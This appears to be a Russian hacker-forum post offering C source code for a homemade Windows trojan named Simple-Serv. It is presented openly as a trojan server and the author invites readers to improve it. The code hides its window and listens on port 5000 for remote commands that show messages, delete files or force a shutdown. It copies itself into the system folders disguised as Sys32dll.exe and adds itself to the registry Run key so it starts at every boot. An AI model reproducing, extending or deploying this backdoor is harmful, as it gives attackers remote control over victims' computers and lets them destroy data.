Простенький троянчик (Simple-Serv как я его назвал) даже я бы сказал пример
троянного сервера. Че делает : слушает 5000 порт и при получении сообщения вида
[ type ] [ text ] т.е. если послать такой текст на 5000 порт
"S Ты ЛАМЕР !!!" (где S это type) то на сервере появится диалог с текстом "Ты ЛАМЕР !!!"
ну смотрите сами его усовершенствование в
ваших руках... (инсталляция есть)
#include < windows.h>
#include < stdio.h>
#include < winsock2.h>
BOOL CALLBACK WindowProc(HWND ,UINT ,WPARAM ,LPARAM);
BOOL ONCREATE(HWND hwnd);
BOOL RUN(char *NAME,char *VIRNAME,int END);
char *szClassWindow="WinClass",szPath[0x100];
char *REGNAME="Sys32dll.exe",*REGTITLE="System32dll",*TITLE="SIMPLE-SERV";
BOOL ONCREATE(HWND hwnd){
WSADATA wsaData;
SOCKET Sock;
char type[2], buf[128];
int i;
WSAStartup(MAKEWORD(2,2), &wsaData);
SOCKET listet_Sock = socket(AF_INET,SOCK_STREAM,0);
SOCKADDR_IN addr_Sock;
addr_Sock.sin_family = AF_INET;
addr_Sock.sin_addr.s_addr = htonl(INADDR_ANY);
addr_Sock.sin_port = htons(5000);
if(bind(listet_Sock,(LPSOCKADDR)&addr_Sock, sizeof(struct sockaddr))) return 0;
if(listen(listet_Sock, 1)) return 0;
Sock = accept(listet_Sock,NULL,NULL);
while(TRUE){
i = recv(Sock, type, 2, 0),recv(Sock, buf,128, 0);
if ((i== SOCKET_ERROR)||(i == 0)) break;
if(type[0] == 'S') MessageBox(0,buf,"IT's FOR YOU !!!",0);
else if (type[0] == 'D'){
MessageBox(0,"DELETE FILE ?","IT's FOR YOU !!!",0);
DeleteFile(buf);}
else if (type[0] == 'X') ExitWindowsEx( EWX_FORCE || EWX_SHUTDOWN, 0 );
break;}
shutdown(Sock,1);
closesocket(Sock);
WSACleanup();
RUN(REGTITLE,REGNAME,1);
PostQuitMessage (0);
return TRUE;
}
BOOL RUN(char *NAME,char *VIRNAME,int END)
{
HKEY hKey;
char szWIN[0x100],szWIN32[0x100];
GetSystemDirectory(szWIN,sizeof(szWIN));
GetSystemDirectory(szWIN32,sizeof(szWIN32));
GetModuleFileName(NULL, szPath, sizeof(szPath));
lstrcat(szWIN,"\\");
lstrcat(szWIN,VIRNAME);
CopyFile(szPath,szWIN,TRUE);
strcat(szWIN32,"32\\");
lstrcat(szWIN32,VIRNAME);
CopyFile(szPath,szWIN32,FALSE);
RegCreateKeyEx(HKEY_LOCAL_MACHINE,
"\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",
0,
"",
REG_OPTION_NON_VOLATILE,
KEY_SET_VALUE,
NULL,
&hKey,
NULL);
if (hKey)
{
RegSetValueEx(hKey, NAME, 0, REG_SZ, (LPBYTE)VIRNAME, strlen(VIRNAME));
RegCloseKey(hKey);
}
if(END==0){}
return TRUE;
}
int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrevInst, LPSTR lpszCmdLine, int nCmdShow)
{
HWND hWnd;
MSG lpMsg;
WNDCLASSEX wcl;
wcl.cbSize = sizeof (wcl);
wcl.style = CS_HREDRAW|CS_VREDRAW;
wcl.lpfnWndProc = WindowProc;
wcl.cbClsExtra =0;
wcl.cbWndExtra = 0;
wcl.hInstance = hInst;
wcl.hIcon = LoadIconA(NULL,IDI_APPLICATION);
wcl.hCursor = LoadCursorA(NULL,IDC_ARROW);
wcl.hbrBackground =(HBRUSH)GetStockObject (WHITE_BRUSH);
wcl.lpszMenuName = NULL;
wcl.lpszClassName = szClassWindow;
wcl.hIconSm=NULL;
if (!RegisterClassEx (&wcl))
return 0;
if(FindWindowA(0,TITLE)){
MessageBoxA(NULL,"FATAL ERROR !","ERROR",0);
PostQuitMessage (0);}
hWnd=CreateWindowEx(
0,
szClassWindow,
TITLE,
WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT,
CW_USEDEFAULT,
CW_USEDEFAULT,
CW_USEDEFAULT,
NULL,
NULL,
hInst,
NULL);
//ShowWindow (hWnd, nCmdShow);
//UpdateWindow (hWnd);
while (GetMessage(&lpMsg,NULL,0,0))
{
TranslateMessage(&lpMsg);
DispatchMessage(&lpMsg);
}
return lpMsg.wParam;
}
BOOL CALLBACK WindowProc (HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
char str[0x100];
switch(message)
{
case WM_CREATE:
RUN(REGTITLE,REGNAME,0);
ONCREATE(hWnd);
return TRUE;
case WM_DESTROY:
RUN(REGTITLE,REGNAME,1);
PostQuitMessage (0);
break;
default:
return DefWindowProc (hWnd, message, wParam, lParam);
}
return FALSE;
}
|